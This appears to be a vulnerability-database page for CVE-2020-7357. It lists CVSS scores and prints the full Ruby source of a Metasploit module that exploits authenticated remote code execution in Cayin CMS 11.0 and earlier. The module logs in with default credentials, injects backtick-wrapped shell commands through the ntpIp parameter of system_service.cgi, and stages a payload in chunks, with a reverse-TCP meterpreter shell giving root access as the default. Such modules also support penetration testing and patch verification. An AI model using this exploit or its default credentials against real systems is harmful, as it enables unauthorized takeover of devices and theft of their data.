9.9 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
This Metasploit module exploits an authenticated remote code execution vulnerability in Cayin CMS versions 11.0
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cayin CMS NTP Server RCE',
'Description' => %q{
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed
in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so
repeated requests are made to achieve a larger payload.
Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the
environment should be pretty set and not dynamic between targets.
Results in root level access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Gjoko Krstic (LiquidWorm) <[emailΒ protected]>' # original PoC, discovery
],
'References' =>
[
[ 'EDB', '48553' ],
[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
[ 'CVE', '2020-7357' ]
],
'Platform' => ['linux'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
},
'Privileged' => true,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'Jun 4 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']),
OptString.new('USERNAME', [true, 'Username to login with', 'administrator']),
OptString.new('PASSWORD', [true, 'Username to login with', 'admin']),
# from the original advisory, leaving here just in case
# OptString.new('USERNAME', [true, 'Username to login with', 'webadmin'])
# OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')
)
if res.nil? || res.code != 200
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end
if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')
print_good('Cayin CMS install detected')
return CheckCode::Detected
end
CheckCode::Safe
rescue ::Rex::ConnectionError
CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end
def login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'apply_mode' => 'login',
'lang' => 'ENG',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
# instead of a 302 like most apps, this does a script window.location to forward...
unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')
fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")
end
res.get_cookies
end
def execute_command(cmd, _opts = {})
# originally attempted to use the 'test' functionality, however it attempts 3 times which
# means our exploit code stage chunks are written 3 times.
# also attempted to just 'save', however it doesn't execute an update.
# 'update' was the prefered functionality
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'),
'method' => 'POST',
'cookie' => "#{@cookie} sys=Service",
'vars_post' => {
'exe' => 'webSvrUpdateNtp',
'ntpIp' => "`#{cmd}`"
# test button, executes 3 times
# 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs
# 'ntpIp' => "`#{cmd}`"
# save button, but doesnt execute
# 'save' => 'webSvrNtp',
# 'ntpIp' => "`#{cmd}`",
# 'ntpEnable' => 1,
# 'ntp_server' => 0
}
)
end
def exploit
if check != CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
@cookie = login
execute_cmdstager(flavor: :printf, linemax: 200)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
9.9 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C